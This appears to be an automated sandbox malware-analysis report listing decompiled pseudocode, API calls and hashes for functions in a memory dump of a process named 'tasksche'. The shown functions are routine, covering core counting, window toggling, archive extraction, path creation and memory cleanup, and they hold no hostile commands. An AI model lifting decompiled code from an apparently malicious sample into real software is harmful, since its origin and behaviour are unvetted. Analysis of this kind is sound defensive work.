Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction ID: 335ddef7e6713e4d0d4f603cdcadd61df7388e1f4a4116fbf7552c9c9eb2c210
Opcode Fuzzy Hash: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction Fuzzy Hash: 02F0EC75A0420866E711B7A1CC07F9B36589B09789F04047FB601760F3D9795564479A

Uniqueness

Uniqueness Score: -1.00%

Function 00410EDB Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410EDB(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t11;
				signed int _t14;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					L6:
					return 1;
				}
				_t11 = 0;
				_t14 = 1;
				do {
					if((_v8 & _t14) != 0) {
						_t11 = _t11 + 1;
					}
					_t14 = _t14 + _t14;
				} while (_t14 != 0);
				if(_t11 < 1) {
					goto L6;
				}
				return _t11;
			}

0x00410eef
0x00410ef7
0x00410f0d
0x00000000
0x00410f0f
0x00410efb
0x00410efd
0x00410efe
0x00410f01
0x00410f03
0x00410f03
0x00410f04
0x00410f04
0x00410f0b
0x00000000
0x00000000
0x00410f11

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,00410F17,00409FF4), ref: 00410EE8
GetProcessAffinityMask.KERNEL32 ref: 00410EEF

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction ID: ae3045e16ef29d64dcafac8e7d0c22bbd438388315c71f77e1501110187c073f
Opcode Fuzzy Hash: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction Fuzzy Hash: 86E08672A1020AA78F2897A0CD4A9EF32ACEB01215700087BE503C1640EAF8D5D24629

Uniqueness

Uniqueness Score: -1.00%

Function 004060C9 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004060C9(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x004060d0
0x004060e5
0x004060eb

APIs

GetDlgItem.USER32 ref: 004060DE
ShowWindow.USER32(00000000), ref: 004060E5

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction ID: 00e924dde3bcd55588ca107b376b403c6fb897f844ebcc5e5070703d20151260
Opcode Fuzzy Hash: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction Fuzzy Hash: E7C01232258241FFCB020BB0DC09E2ABBA8ABA5312F10CD68B4A5C1160C23AC024DB22

Uniqueness

Uniqueness Score: -1.00%

Function 00402C8B Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402C8B(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				char _t69;
				signed int _t75;
				intOrPtr _t84;
				signed int _t88;
				intOrPtr _t96;
				signed int _t116;
				void* _t139;
				void* _t147;

				_t134 = __edx;
				E0041A4DC(E00429577, _t147);
				E0041AAF0(0xe6e0);
				_t141 = __ecx;
				if( *((char*)(__ecx + 0xb064)) == 0) {
					__eflags =  *((char*)(__ecx + 0x8942)) - 5;
					if( *((char*)(__ecx + 0x8942)) > 5) {
						L26:
						_t142 = _t141 + 0x1e;
						__eflags = _t141 + 0x1e;
						E00406376(0x1c, _t142);
						goto L27;
					}
					asm("sbb eax, eax");
					__eflags = ( *(__ecx + 0x8941) & 0x000000ff) - ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d);
					if(( *(__ecx + 0x8941) & 0x000000ff) > ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d)) {
						goto L26;
					}
					_t75 =  *(__ecx + 0x9970) |  *(__ecx + 0x9974);
					__eflags = _t75;
					if(_t75 != 0) {
						L7:
						_t139 = _t141 + 0x20e8;
						E0040B758(_t139);
						_push(_t139);
						E0041768A(_t147 - 0xe6ec, _t134, _t139, __eflags); // executed
						_t106 = 0;
						 *(_t147 - 4) = 0;
						E004126F0(_t147 - 0xe6ec,  *((intOrPtr*)(_t141 + 0x9a0c)), 0); // executed
						__eflags =  *(_t147 + 0xc);
						if( *(_t147 + 0xc) != 0) {
							L16:
							__eflags =  *((char*)(_t141 + 0x99b3));
							if( *((char*)(_t141 + 0x99b3)) == 0) {
								L19:
								_t106 = _t141 + 0x9988;
								E00409885(_t141 + 0x59b8,  *(_t141 + 0x9988), 1);
								 *((intOrPtr*)(_t141 + 0x210c)) =  *((intOrPtr*)(_t141 + 0x9974));
								 *((intOrPtr*)(_t141 + 0x2108)) =  *((intOrPtr*)(_t141 + 0x9970));
								 *((char*)(_t141 + 0x2110)) = 0;
								E0040B863(_t139, _t141,  *(_t147 + 0xc));
								 *((char*)(_t141 + 0x42af)) =  *((intOrPtr*)(_t141 + 0x99b1));
								 *(_t139 + 0x3c) =  *(_t139 + 0x3c) & 0x00000000;
								 *((intOrPtr*)(_t139 + 0x38)) = _t141 + 0x8928;
								__eflags =  *((char*)(_t141 + 0x8942));
								_t84 =  *((intOrPtr*)(_t141 + 0x9978));
								_t116 =  *(_t141 + 0x997c);
								 *((intOrPtr*)(_t147 - 0x9aac)) = _t84;
								 *(_t147 - 0x9aa8) = _t116;
								 *((char*)(_t147 - 0x9a94)) = 0;
								if(__eflags != 0) {
									E00418AFF(_t147 - 0xe6ec,  *(_t141 + 0x8941) & 0x000000ff, 0);
								} else {
									_push(_t116);
									_push(_t84);
									_push(_t139); // executed
									E004071DF(_t134, __eflags); // executed
								}
								asm("sbb ecx, ecx");
								_t88 = E00409AE9(_t106, _t141 + 0x59b8, _t134, __eflags, _t106,  ~( *(_t141 + 0x99e2) & 0x000000ff) & _t141 + 0x000099e3);
								__eflags = _t88;
								if(_t88 != 0) {
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139); // executed
									L6:
									_t69 = 1;
									goto L28;
								} else {
									E0040639F(0x1d, _t141 + 0x1e, _t141 + 0x8948);
									E004062BA(0x4335ac, 3);
									_t124 =  *(_t147 + 8);
									__eflags =  *(_t147 + 8);
									if( *(_t147 + 8) != 0) {
										E00401B67(_t124);
									}
									L12:
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139);
									goto L27;
								}
							}
							_t96 =  *((intOrPtr*)(_t141 + 0x6524));
							__eflags =  *((char*)(_t96 + 0x4124));
							if( *((char*)(_t96 + 0x4124)) == 0) {
								goto L12;
							}
							asm("sbb edx, edx");
							_t134 =  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9;
							_t97 = _t96 + 0x4024;
							__eflags = _t96 + 0x4024;
							E0040B883(_t139, 0,  *((intOrPtr*)(_t141 + 0x99b4)), _t97,  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9, _t141 + 0x99c9,  *((intOrPtr*)(_t141 + 0x9a04)), _t141 + 0x99e3, _t141 + 0x99da);
							goto L19;
						}
						__eflags =  *(_t141 + 0x997c);
						if(__eflags < 0) {
							L13:
							_t106 =  *(_t147 + 8);
							__eflags = _t106;
							if(_t106 != 0) {
								E00401C1D(_t106,  *((intOrPtr*)(_t141 + 0x9978)));
								E0040B8CE(_t139,  *_t106,  *((intOrPtr*)(_t141 + 0x9978)));
							} else {
								 *((char*)(_t141 + 0x2111)) = 1;
							}
							goto L16;
						}
						if(__eflags > 0) {
							L11:
							_t145 = _t141 + 0x1e;
							__eflags = _t141 + 0x1e;
							E00406376(0x1c, _t145);
							goto L12;
						}
						__eflags =  *((intOrPtr*)(_t141 + 0x9978)) - 0x1000000;
						if( *((intOrPtr*)(_t141 + 0x9978)) <= 0x1000000) {
							goto L13;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x99b1)) - _t75;
					if( *((intOrPtr*)(__ecx + 0x99b1)) != _t75) {
						goto L7;
					}
					goto L6;
				} else {
					E00406376(0x1b, __ecx + 0x1e);
					E004062BA(0x4335ac, 3);
					L27:
					_t69 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
					return _t69;
				}
			}

0x00402c8b
0x00402c90
0x00402c9a
0x00402ca1
0x00402cab
0x00402cc9
0x00402cd0
0x00402f0e
0x00402f0e
0x00402f0e
0x00402f14
0x00000000
0x00402f14
0x00402ce8
0x00402ced
0x00402cef
0x00000000
0x00000000
0x00402cfb
0x00402cfb
0x00402d01
0x00402d12
0x00402d12
0x00402d1a
0x00402d1f
0x00402d26
0x00402d2b
0x00402d3a
0x00402d3d
0x00402d42
0x00402d45
0x00402da8
0x00402da8
0x00402daf
0x00402e04
0x00402e06
0x00402e14
0x00402e28
0x00402e31
0x00402e37
0x00402e3e
0x00402e49
0x00402e4f
0x00402e59
0x00402e5c
0x00402e63
0x00402e69
0x00402e6f
0x00402e75
0x00402e7b
0x00402e82
0x00402e9e
0x00402e84
0x00402e84
0x00402e85
0x00402e86
0x00402e87
0x00402e87
0x00402eac
0x00402ebe
0x00402ec3
0x00402ec5
0x00402efa
0x00402f04
0x00402d0b
0x00402d0b
0x00000000
0x00402ec7
0x00402ed4
0x00402ee0
0x00402ee5
0x00402ee8
0x00402eea
0x00402ef0
0x00402ef0
0x00402d68
0x00402d68
0x00402d72
0x00000000
0x00402d72
0x00402ec5
0x00402db1
0x00402db7
0x00402dbe
0x00000000
0x00000000
0x00402de4
0x00402dec
0x00402def
0x00402def
0x00402dff
0x00000000
0x00402dff
0x00402d47
0x00402d4d
0x00402d7c
0x00402d7c
0x00402d7f
0x00402d81
0x00402d94
0x00402da3
0x00402d83
0x00402d83
0x00402d83
0x00000000
0x00402d81
0x00402d4f
0x00402d5d
0x00402d5d
0x00402d5d
0x00402d63
0x00000000
0x00402d63
0x00402d51
0x00402d5b
0x00000000
0x00000000
0x00000000
0x00402d5b
0x00402d03
0x00402d09
0x00000000
0x00000000
0x00000000
0x00402cad
0x00402cb3
0x00402cbf
0x00402f19
0x00402f19
0x00402f1b
0x00402f21
0x00402f29
0x00402f29

APIs

__EH_prolog.LIBCMT ref: 00402C90

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction ID: d2613427887af626ac15b725df06f6c4975e9b849f4698f9cbfae21a5c634ed1
Opcode Fuzzy Hash: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction Fuzzy Hash: 8E615870505B40AADB34DB39C999BEBB7E4AF51304F00456FF4AB622C2CBBC2944DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040935F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040935F(void* __ebx, void* __ecx, void* __edi, signed int _a4, char _a8) {
				signed int _v8;
				char _v4104;
				signed int _t21;
				void* _t25;
				signed int _t26;
				signed int _t34;
				void* _t36;
				signed int _t40;
				signed short* _t45;
				signed short* _t48;
				void* _t49;
				void* _t50;

				E0041AAF0(0x1004);
				_t48 = _a4;
				if(_t48 == 0 ||  *_t48 == 0) {
					__eflags = 0;
					return 0;
				} else {
					_a4 = _a4 & 0x00000000;
					_t36 = 1;
					_t45 = _t48;
					while(1) {
						_t21 = _a4 >> 1;
						_v8 = _t21;
						if(_t21 >= 0x800) {
							break;
						}
						if(E0040A0C5( *_t45 & 0x0000ffff) == 0 || _t45 <= _t48) {
							L9:
							_a4 = _a4 + 2;
							_t45 =  &(_t45[1]);
							if( *_t45 != 0) {
								continue;
							}
							break;
						} else {
							if(_t45 !=  &(_t48[2])) {
								L8:
								_t40 = _v8;
								E0041C853( &_v4104, _t48, _t40);
								_t50 = _t50 + 0xc;
								 *((short*)(_t49 + _t40 * 2 - 0x1004)) = 0;
								_t34 = E004092C9(_t58,  &_v4104, 1, 0);
								asm("sbb bl, bl");
								_t36 =  ~_t34 + 1;
								goto L9;
							}
							_t58 = _t48[1] - 0x3a;
							if(_t48[1] == 0x3a) {
								goto L9;
							}
							goto L8;
						}
					}
					_t61 = _a8;
					if(_a8 == 0) {
						_t25 = E0040A0C5( *(E0040A08A(_t61, _t48)) & 0x0000ffff);
						_t62 = _t25;
						if(_t25 == 0) {
							_t26 = E004092C9(_t62, _t48, 1, 0); // executed
							asm("sbb bl, bl");
							_t36 =  ~_t26 + 1;
						}
					}
					return _t36;
				}
			}

0x00409367
0x0040936d
0x00409372
0x0040942c
0x00000000
0x00409382
0x00409382
0x00409388
0x0040938a
0x0040938c
0x0040938f
0x00409391
0x00409399
0x00000000
0x00000000
0x004093a6
0x004093ef
0x004093ef
0x004093f4
0x004093f9
0x00000000
0x00000000
0x00000000
0x004093ac
0x004093b1
0x004093ba
0x004093ba
0x004093c6
0x004093cb
0x004093d1
0x004093e2
0x004093eb
0x004093ed
0x00000000
0x004093ed
0x004093b3
0x004093b8
0x00000000
0x00000000
0x00000000
0x004093b8
0x004093a6
0x004093fb
0x004093ff
0x0040940b
0x00409410
0x00409412
0x00409419
0x00409422
0x00409424
0x00409424
0x00409412
0x00000000
0x00409429

APIs

_wcsncpy.LIBCMT ref: 004093C6

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction ID: d4505bb1f71f0a7630b1187c5dc073957316d7994076f763c5609016dbc7fb68
Opcode Fuzzy Hash: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction Fuzzy Hash: 1821F9705412146ADF209BA5C8817EF73A8AF09744F104067FD84E71C2E6BC9DC58799

Uniqueness

Uniqueness Score: -1.00%

Function 004071DF Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004071DF(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t21;
				intOrPtr _t30;
				intOrPtr _t33;
				void* _t35;
				void* _t43;
				intOrPtr _t45;

				_t28 = __edx;
				E0041A4DC(E004294DA, _t35);
				E00406760(_t35 - 0x1c, 0x40000);
				_t30 =  *((intOrPtr*)(_t35 - 0x1c));
				 *(_t35 - 4) =  *(_t35 - 4) & 0x00000000;
				_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), __edx, _t30,  *((intOrPtr*)(_t35 - 0x18))); // executed
				_t33 = _t17;
				if(_t33 != 0) {
					_push(_t20);
					_t21 =  *((intOrPtr*)(_t35 + 0xc));
					while(_t33 != 0xffffffff) {
						_t43 = 0 -  *((intOrPtr*)(_t35 + 0x10));
						if(_t43 >= 0 && (_t43 > 0 || _t33 >= _t21)) {
							_t33 = _t21;
						}
						E0040BAFE( *((intOrPtr*)(_t35 + 8)), _t28, _t35, _t30, _t33);
						_t45 =  *((intOrPtr*)(_t35 + 0x10));
						if(_t45 >= 0 && (_t45 > 0 || _t21 >= 0)) {
							_t21 = _t21 - _t33;
							asm("sbb dword [ebp+0x10], 0x0");
						}
						_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), _t28, _t30,  *((intOrPtr*)(_t35 - 0x18)));
						_t33 = _t17;
						if(_t33 != 0) {
							continue;
						}
						break;
					}
					_pop(_t20);
				}
				_t48 = _t30;
				if(_t30 != 0) {
					_push(_t30);
					_t17 = E0041A506(_t20, _t30, _t33, _t48);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t35 - 0xc));
				return _t17;
			}

0x004071df
0x004071e4
0x004071f6
0x004071fe
0x00407204
0x00407209
0x0040720e
0x00407212
0x00407214
0x00407215
0x00407218
0x0040721f
0x00407222
0x0040722a
0x0040722a
0x00407231
0x00407236
0x0040723a
0x00407242
0x00407244
0x00407244
0x0040724f
0x00407254
0x00407258
0x00000000
0x00000000
0x00000000
0x00407258
0x0040725a
0x0040725a
0x0040725b
0x0040725d
0x0040725f
0x00407260
0x00407265
0x0040726b
0x00407273

APIs

__EH_prolog.LIBCMT ref: 004071E4

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction ID: 0e7476b061c64c38a033d28293548f621ad6c4fedd1d6d7b32e1dff298444af0
Opcode Fuzzy Hash: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction Fuzzy Hash: F611E336D04216A7CB21AE69D881BAF7774AB84724F00427FF910772C0C77CAD4186AE

Uniqueness

Uniqueness Score: -1.00%

Function 004155EF Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004155EF(void* __ebx, intOrPtr __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				void* _t39;
				intOrPtr _t61;
				void* _t63;

				_t59 = __edi;
				_t42 = __ebx;
				E0041A4DC(E004298B7, _t63);
				_push(__ecx);
				_t61 = __ecx;
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *(_t63 - 4) = 0xa;
				E004152CD(__ecx, 0);
				_t26 =  *((intOrPtr*)(__ecx + 0x4b34));
				_t66 = _t26;
				if(_t26 != 0) {
					_push(_t26); // executed
					E0041A506(__ebx, __edi, __ecx, _t66); // executed
				}
				E004111EB(_t61, _t63,  *((intOrPtr*)(_t61 + 0x14)));
				_push( *((intOrPtr*)(_t61 + 0x20)));
				E0041C89D(_t42, _t59, _t61, _t66); // executed
				_t45 =  *((intOrPtr*)(_t61 + 0x18));
				_t67 =  *((intOrPtr*)(_t61 + 0x18));
				if( *((intOrPtr*)(_t61 + 0x18)) != 0) {
					E00413DED(_t45, _t59, _t63, 3);
				}
				E004129EB(_t61 + 0xe6c4);
				E004129EB(_t61 + 0xe6b4);
				E004129EB(_t61 + 0xe6a4);
				 *(_t63 - 4) = 6;
				E00409756(_t61 + 0xe694);
				 *(_t63 - 4) = 5;
				E0040AB1E(_t61 + 0xe65c, _t67);
				E00411FFB(_t61 + 0xe35c);
				E0041252C(_t61 + 0x4b38);
				E004129EB(_t61 + 0x44);
				E004129EB(_t61 + 0x34);
				E004129EB(_t61 + 0x24);
				 *(_t63 - 4) =  *(_t63 - 4) | 0xffffffff;
				_t39 = E00409756(_t61 + 4);
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t39;
			}

0x004155ef
0x004155ef
0x004155f4
0x004155f9
0x004155fb
0x004155fd
0x00415602
0x00415609
0x0041560e
0x00415614
0x00415616
0x00415618
0x00415619
0x0041561e
0x00415622
0x00415627
0x0041562a
0x00415630
0x00415633
0x00415635
0x00415639
0x00415639
0x00415644
0x0041564f
0x0041565a
0x00415665
0x00415669
0x00415674
0x00415678
0x00415683
0x0041568e
0x00415696
0x0041569e
0x004156a6
0x004156ab
0x004156b2
0x004156bb
0x004156c3

APIs

__EH_prolog.LIBCMT ref: 004155F4

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFreeH_prologHeapLast___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 2675452811-0
Opcode ID: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction ID: af90cb06349abb904c7e908c808b67ca80216b7905dff4050bf1b7fec03d4104
Opcode Fuzzy Hash: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction Fuzzy Hash: DA117871210740DAC325FF76DA636DBB7B0AF24304F40091EA06B525D2EFB8BA44CA19

Uniqueness

Uniqueness Score: -1.00%

Function 00407150 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00407150(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				intOrPtr _t39;
				void* _t41;

				_t44 = __eflags;
				E0041A4DC(E0042968C, _t41);
				_push(__ecx);
				_t39 = __ecx;
				_t25 = __ecx + 0x10;
				 *((intOrPtr*)(_t41 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				E0040B8E3(__ecx + 0x10, __eflags);
				 *(__ecx + 0x444c) =  *(__ecx + 0x444c) & 0;
				 *((intOrPtr*)(_t41 - 4)) = 0;
				_t35 =  *((intOrPtr*)(_t41 + 8));
				 *((intOrPtr*)(__ecx + 8)) = _t35;
				 *((short*)(__ecx + 0x445c)) = 0;
				 *((short*)(__ecx + 0x545e)) = 0;
				_t21 = E0041A89A(__ecx + 0x10, __edx, _t35, _t44, 0xe6e0, _t33, _t38, _t24);
				 *((intOrPtr*)(_t41 + 8)) = _t21;
				 *((char*)(_t41 - 4)) = 1;
				_t45 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0041768A(_t21, __edx, _t35, _t45, _t25); // executed
				}
				 *((intOrPtr*)(_t39 + 0x4448)) = _t22;
				_t36 =  *((intOrPtr*)(_t35 + 0x7298));
				if(_t36 >= 8) {
					_t36 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x1c)) = _t36;
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t39;
			}

0x00407150
0x00407155
0x0040715a
0x0040715d
0x00407162
0x00407167
0x0040716a
0x0040716c
0x0040716f
0x00407176
0x0040717c
0x0040717f
0x00407187
0x0040718a
0x00407191
0x00407198
0x0040719e
0x004071a1
0x004071a5
0x004071a7
0x004071b3
0x004071b3
0x004071a9
0x004071ac
0x004071ac
0x004071b5
0x004071bb
0x004071c4
0x004071c8
0x004071c8
0x004071cc
0x004071d4
0x004071dc

APIs

__EH_prolog.LIBCMT ref: 00407155

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041768A: __EH_prolog.LIBCMT ref: 0041768F

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

